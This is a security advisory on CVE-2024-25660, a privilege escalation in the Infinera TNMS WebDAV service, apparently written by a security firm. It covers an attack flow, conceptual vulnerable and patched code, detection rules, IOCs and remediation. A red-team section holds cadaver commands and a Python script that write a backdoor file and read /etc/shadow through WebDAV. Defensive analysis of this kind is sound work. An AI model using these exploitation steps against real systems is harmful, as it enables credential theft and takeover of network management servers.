CVE-2024-25660

Executive Summary

CVE-2024-25660 identifies a privilege escalation vulnerability in the WebDAV service of Infinera TNMS (Transcend Network Management System) version 19.10.3. A low-privileged remote attacker can exploit this flaw to conduct unauthorized file operations due to execution with unnecessary privileges. This vulnerability poses a significant risk to network infrastructure management, potentially allowing an attacker to read, write, or delete sensitive configuration files, disrupt network operations, or pivot to deeper network segments. No public proof-of-concept (PoC) or patch is currently available, increasing the urgency for defensive measures.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary network management system (Infinera TNMS) and is not part of a software supply chain ecosystem.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the description and CWE-250 (Execution with Unnecessary Privileges), a reasonable estimated CVSS vector would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): Low (L) – attacker needs low-level access.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – potential to read sensitive files.
• Integrity (I): High (H) – potential to modify critical data.
• Availability (A): High (H) – potential to disrupt services.

Estimated CVSS: 8.8 (High) – This reflects the high impact on confidentiality, integrity, and availability with low attack complexity.

Threat Level: High. The lack of a patch and public exploit details increases risk, but the low EPSS score (0.0%) suggests limited active exploitation currently.

Deep Dive & Mechanics

The WebDAV service in Infinera TNMS runs with elevated privileges (likely SYSTEM or root). WebDAV (Web Distributed Authoring and Versioning) is an extension of HTTP that allows clients to perform remote web content authoring operations (e.g., PUT, DELETE, PROPFIND). The vulnerability stems from the service not properly dropping privileges after authentication, allowing a low-privileged user to perform file operations with the service’s high privileges.

Attack Flow:

1. Authentication: The attacker authenticates to the TNMS WebDAV service with low-privileged credentials (e.g., read-only user).
2. Privilege Escalation: The WebDAV service processes requests with unnecessary privileges (e.g., SYSTEM account) instead of the user’s limited context.
3. Unauthorized Operations: The attacker sends crafted WebDAV requests (e.g., PUT to write a malicious file, DELETE to remove critical logs, or PROPFIND to enumerate directories) that are executed with high privileges.
4. Impact: The attacker can overwrite configuration files, plant backdoors, or delete evidence, leading to full system compromise.

Root Cause: The WebDAV service does not implement proper privilege separation. It should impersonate the authenticated user for file operations, but instead uses the service account’s high privileges.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code likely resides in the WebDAV handler module (e.g., webdav_handler.c or similar). A patched version would implement proper user impersonation using OS-level tokens (e.g., ImpersonateLoggedOnUser on Windows or seteuid on Linux) before performing file operations.

Vulnerable Code (Conceptual):

// Vulnerable: Uses service privileges for all operations
int handle_webdav_request(Request *req) {
    // No privilege drop
    if (req->method == PUT) {
        write_file(req->path, req->data); // Runs as SYSTEM
    }
    return 0;
}

Patched Code (Conceptual):

// Patched: Impersonate user before file operations
int handle_webdav_request(Request *req) {
    HANDLE token = get_user_token(req->user);
    ImpersonateLoggedOnUser(token); // Drop privileges
    if (req->method == PUT) {
        write_file(req->path, req->data); // Runs as user
    }
    RevertToSelf();
    return 0;
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Infinera TNMS 19.10.3 with WebDAV enabled.
• Attacker: Kali Linux with cadaver or curl for WebDAV operations.
• Credentials: Low-privileged user (e.g., monitor:password).

Exploitation Steps:

1. Enumerate WebDAV:

   cadaver http://target:8080/webdav
   

   Authenticate with low-privileged credentials.

2. Attempt Unauthorized Write:

   put /etc/passwd /tmp/exploit.txt
   

   If successful, the file is written with high privileges.

3. Delete Critical File:

   delete /config/tnms.conf
   

   This could disrupt the service.

4. Read Sensitive Data:

   get /etc/shadow /tmp/shadow
   

   Extract password hashes.

Automated Exploit (Python):

import requests
from requests.auth import HTTPBasicAuth

target = "http://target:8080/webdav"
auth = HTTPBasicAuth('monitor', 'password')

# Write a malicious file
data = "malicious content"
response = requests.put(f"{target}/tmp/backdoor.sh", auth=auth, data=data)
print(f"Write status: {response.status_code}")

# Read sensitive file
response = requests.get(f"{target}/etc/shadow", auth=auth)
print(f"Read status: {response.status_code}")
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor WebDAV logs for unusual PUT/DELETE operations from low-privileged users.
• Alert on file operations targeting system directories (e.g., /etc, /config).
• Use file integrity monitoring (FIM) to detect unauthorized changes.

Mitigation:

• Disable WebDAV if not required.
• Apply principle of least privilege to the WebDAV service account.
• Implement network segmentation to limit access to TNMS.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /webdav with methods PUT, DELETE, PROPFIND from low-privileged users.
• File System: Unexpected files in system directories (e.g., /tmp/backdoor.sh, /etc/cron.d/malicious).
• Logs: WebDAV access logs showing PUT /etc/shadow or DELETE /config/tnms.conf.
• Process: WebDAV service (e.g., tnms-webdav.exe) running with SYSTEM privileges.

Detection Engineering

YARA Rule

rule CVE_2024_25660_WebDAV_PrivEsc {
    meta:
        description = "Detects exploitation attempts of CVE-2024-25660 via WebDAV requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-25660"
    strings:
        $webdav_method = "PUT" nocase
        $webdav_method2 = "DELETE" nocase
        $webdav_method3 = "PROPFIND" nocase
        $sensitive_path = "/etc" nocase
        $sensitive_path2 = "/config" nocase
        $sensitive_path3 = "/var" nocase
    condition:
        any of ($webdav_method*) and any of ($sensitive_path*)
}

Sigma Rule

title: CVE-2024-25660 WebDAV Unauthorized File Operations
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects WebDAV requests targeting sensitive paths from low-privileged users
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: infinera_tnms
detection:
    selection:
        http.method: 
            - 'PUT'
            - 'DELETE'
            - 'PROPFIND'
        http.url|contains:
            - '/etc'
            - '/config'
            - '/var'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25660 WebDAV Unauthorized File Operation";
    flow:to_server,established;
    content:"PUT"; http_method;
    content:"/etc"; http_uri;
    sid:1000001;
    rev:1;
    reference:cve,2024-25660;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable WebDAV: If not required, disable the WebDAV service in TNMS configuration.
2. Restrict Access: Use firewall rules to limit WebDAV access to trusted IPs only.
3. Monitor Logs: Enable detailed logging for WebDAV and review for suspicious activity.

Long-Term Fix:

• Apply vendor patch when available (currently UNKNOWN).
• Implement privilege separation in the WebDAV service (e.g., use ImpersonateLoggedOnUser or seteuid).
• Conduct a security audit of all services running with elevated privileges.

Workaround:

• Change the WebDAV service account to a low-privileged user if possible, but this may break functionality.

Valters IT